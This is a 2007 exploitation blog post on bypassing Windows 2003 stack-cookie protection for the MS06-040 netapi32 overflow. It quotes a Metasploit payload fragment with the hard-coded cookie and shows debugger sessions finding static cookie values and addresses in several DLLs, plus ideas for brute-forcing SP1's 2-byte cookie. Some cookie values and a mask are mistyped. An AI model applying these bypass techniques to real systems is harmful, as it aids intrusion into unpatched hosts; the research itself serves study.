Software Vulnerability Exploitation Blog

Tuesday, March 27, 2007

MS06-040 Reloaded: The (More) Easy Way to Bypass Windows 2003 SP0 Stack Protection

First of all, Metasploit 3 is released :) and this is the reason why I pick up this topic to post again.

In Metasploit 3.0, If you view source code of ms06_040_netapi.rb, you will see something has changed from 2.x
...
# Padding
rand_text_alphanumeric(32) +

# The cookie is constant,
# noticed by Nicolas Pouvesle in Misc #28

"\x4e\xe6\x40\xbb" +

# Padding
rand_text_alphanumeric(4) +
...

In Metasploit 3.x code said that the security cookie value used for stack buffer overflow protection is static !!!

If you can remember in previous post, I bypass the stack buffer overflow protection by overwrite the cookie stored in memory. The location that store the cookie is a static memory location in netapi32.dll - 0x71c8c1ec. But I didn't notice that the cookie's value also static !!!

To confirm this, I put break point at NETAPI32!__security_check_cookie and observe the cookie's value

...
0:003> bp NETAPI32!__security_check_cookie
0:003> bl
0 e 71c414f6 0001 (0001) 0:**** NETAPI32!__security_check_cookie


0:003> g

eax=0000084b ebx=00120118 ecx=bb40e64e edx=0000005c esi=0011d0e8 edi=00000000
eip=71c414f6 esp=00e8f4f4 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246

NETAPI32!__security_check_cookie:
71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)] ds:0023:71c8c1ec=bb40e64e
0:013> dd 0x71c8c1ec
71c8c1ec bb40e64e 00000000 00000000 00000000


0:013> g

Breakpoint 0 hit
eax=0000084b ebx=00123270 ecx=bb40e64e edx=0000005c esi=001081e0 edi=00000000
eip=71c414f6 esp=00e8f4f4 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246


NETAPI32!__security_check_cookie:

71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)] ds:0023:71c8c1ec=bb40e64e

0:013> dd 0x71c8c1ec
71c8c1ec bb40e64e 00000000 00000000 00000000

...

As you can see, the cookie's value is always 0xbb40e64e and this value is not changed even though you reboot the system.

Because of the predictable cookie's value, it is more easy to exploit this vulnerability in Windows 2003 Server - just change the bytes that overwrite the cookie in the stack to 0xbb40e64e - the system checks the cookie and it understand that there is nothing happen because the cookie's value is not changed, lol. They are fooled :)

(Note: For Metasploit 3.x, the return address for Windows 2003 SP0 target has changed back to 0x00020804. As I know, this return will turn to 0x02080400 in memory - and the exploit will failed for 2003 target. but when I test the exploit, it is not failed !!! May be I'm wrong some point. I debug this issue by set the shellcode to "\xcc" - break instruction:

...
0:051> g
(384.42c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0014f5b0 ecx=bb40e64e edx=00e8f94e esi=00162408 edi=00000000
eip=00020804 esp=00e8f92c ebp=51477973 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
00020804 cc int 3

0:010> dd 00020804

00020804 cccccccc cccccccc cccccccc cccccccc
00020814 cccccccc cccccccc cccccccc cccccccc
...

Hey !!!, shellcode is overwrite to 0x00020804 instead of 0x02080400. This is the point that I'm wrong in the previous post)

Now, I know that the buffer overflow protection on Windows 2003 Server for netapi32.dll has the following characteristics:
  • the memory location that store security cookie is static (0x71c8c1ec)
  • the security cookie's value is static (0xbb40e64e)
Then, some questions arise immediately, the other dlls also have these characteristic ? and the newer operating system inherit this flaw ?

To answer the first question, I will investigate another dll, user32.dll, in the same process

...
0:055> u user32!__security_check_cookie
USER32!__security_check_cookie:
77d01ae4 3b0d9cf1d577 cmp ecx,dword ptr [USER32!__security_cookie (77d5f19c)]
77d01aea 0f85b7250400 jne USER32!__security_check_cookie+0x9 (77d440a7)
77d01af0 c3 ret

0:055> dd 0x77d5f19c
77d5f19c bb40e64e 00080000 018a0021 77d00000
77d5f1ac 77e585ea 00000001 00000000 00000064
...

I found that user32.dll has the same netapi32.dll's characteristics:
  • the location memory that store the cookie is static (0x77d5f19c)
  • the security cookie's value is static (0xbb40e6e4)
I repeat this process with ws2_32.dll:

...
0:012> u ws2_32!__security_check_cookie
WS2_32!__security_check_cookie:
71c01790 3b0df451c171 cmp ecx,dword ptr [WS2_32!__security_cookie (71c151f4)]
71c01796 0f85d3a00000 jne WS2_32!__security_check_cookie+0x9 (71c0b86f)
71c0179c c3 ret

0:012> dd 71c151f4
71c151f4 bb40e64e 76f812a4 76f80000 00000001
71c15204 00083980 ffffffff 00000000 00000000
...

The location always at 0x71c151f4 and the cookie's value is 0xbb40e6e4.

Although I do not investigate all for dll in the system, I think the others should have the same properties - static location and static value. But when I debug gdi32.dll and ole32.dll, I found that the location is static, but the cookie's value is not static :( - this flaw exists in some dlls in Windows 2003, not all dlls.

Now, It's Windows 2003 SP1 turn. I will investigate netapi32.dll and gdi32.dll and compare with the old one.

For netapi32.dll:

0:044> u netapi32!__security_check_cookie
NETAPI32!__security_check_cookie:
71c43da0 3b0d7021c971 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c92170)]
71c43da6 0f850b690100 jne NETAPI32!__report_gsfailure (71c5a6b7)
71c43dac f7c10000ffff test ecx,0FFFF0000h
71c43db2 0f85ff680100 jne NETAPI32!__report_gsfailure (71c5a6b7)
71c43db8 c3 ret
...
0:044> dd 71c92170
71c92170 00006773 00000000 00000000 00000000
71c92180 71c47774 71c4776c 00000000 00000000

netapi32!__security_check_cookie's code has changed a little. It insert the code

...
test ecx, 0FFFF000h
jne NETAPI32!__report_gsfailure (71c5a6b7)
...


This code forces the format of cookie - it have to be 0x0000xxxx - more harder to write this value into the memory. However, it is more easier to do the bruteforce cookie (if the situation let us to do that), because it use only 2 bytes :)

For netapi32.dll in Windows 2003 SP1, the cookie's value is no longer static. However, the memory location store the cookie still static - 0x71c92170 for netapi32.dll and 0x77c43014 for gdi32.dll. The technique that I use to exploit MS06-040 vulnerability in Windows 2003 SP0 "overwrite cookie" should (I'm not sure, lol) be work because of the static memory location for store cookie.

0 Comments:

Post a Comment

<< Home